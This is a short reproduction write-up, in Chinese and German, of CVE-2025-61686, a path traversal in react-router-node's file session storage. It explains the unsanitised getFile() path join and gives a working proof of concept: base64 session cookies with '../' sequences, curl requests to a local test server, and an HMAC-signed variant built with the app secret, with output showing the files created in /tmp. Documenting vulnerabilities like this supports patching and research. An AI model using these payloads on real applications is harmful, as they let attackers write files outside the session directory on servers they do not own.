
CVE-2025-61686复现的dockerfile与poc
docker-compose up --build
docker-compose up
└─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-_' | tr -d '='
IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg' 'http://localhost:3001/'
root@de14139fdebf:/app# ls /tmp
flower
Durch Vergleich der Versionen 7.9.3 und 7.9.4 kann man sehen, dass die Hauptursache der Schwachstelle in der Behandlung der Session in der Funktion getFile() in der Datei react-router/packages/react-router-node/sessions/fileStorage.ts liegt.
export function getFile(dir: string, id: string): string {
// Divide the session id up into a directory (first 2 bytes) and filename
// (remaining 6 bytes) to reduce the chance of having very large directories,
// which should speed up file access. This is a maximum of 2^16 directories,
// each with 2^48 files.
return path.join(dir, id.slice(0, 4), id.slice(4));
}
Hierbei werden die ersten 4 Zeichen der Session als Ordnername und die restlichen Zeichen als Dateiname verwendet, sodass ein Angreifer auf folgende Weise eine Pfadüberquerung erreichen kann. Dies ist der Grund, warum das Sicherheitsbulletin besagt, dass ohne Nutzung eines Secrets in der Session eine einfache Verzeichnisüberquerung möglich ist. Natürlich kann ein Angreifer, der das zum Verschlüsseln der Session verwendete Secret erlangt hat, ebenfalls ein entsprechendes Überquerungs-Payload konstruieren.
>>> import os
>>> os.path.join("./sessions", "aaaa","../../tmp/flowerwitch")
'./sessions/aaaa/../../tmp/flowerwitch'
Falls das Secret erlangt wurde, kann man die sign() Funktion referenzieren und das Poc mit dem Secret signieren.
export const sign = async (value: string, secret: string): Promise<string> => {
let data = encoder.encode(value);
let key = await createKey(secret, ["sign"]);
let signature = await crypto.subtle.sign("HMAC", key, data);
let hash = btoa(String.fromCharCode(...new Uint8Array(signature))).replace(
/=+$/,
"",
);
return value + "." + hash;
};
Senden einer Anfrage mit der erstellten Session
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi8uLi90bXAvZmxvd2Vyd2l0Y2gi.L2ffutps16%2B3ENWvuWy4ZCouT%2BPSVeqmQOeaW%2FjziXg' 'http://localhost:3001/'
Bestätigung der Auslösung der Schwachstelle
root@eb8750bd4a56:/tmp# ls
flowerwitch
Skript zur Signaturerstellung use_secret_create_payload.js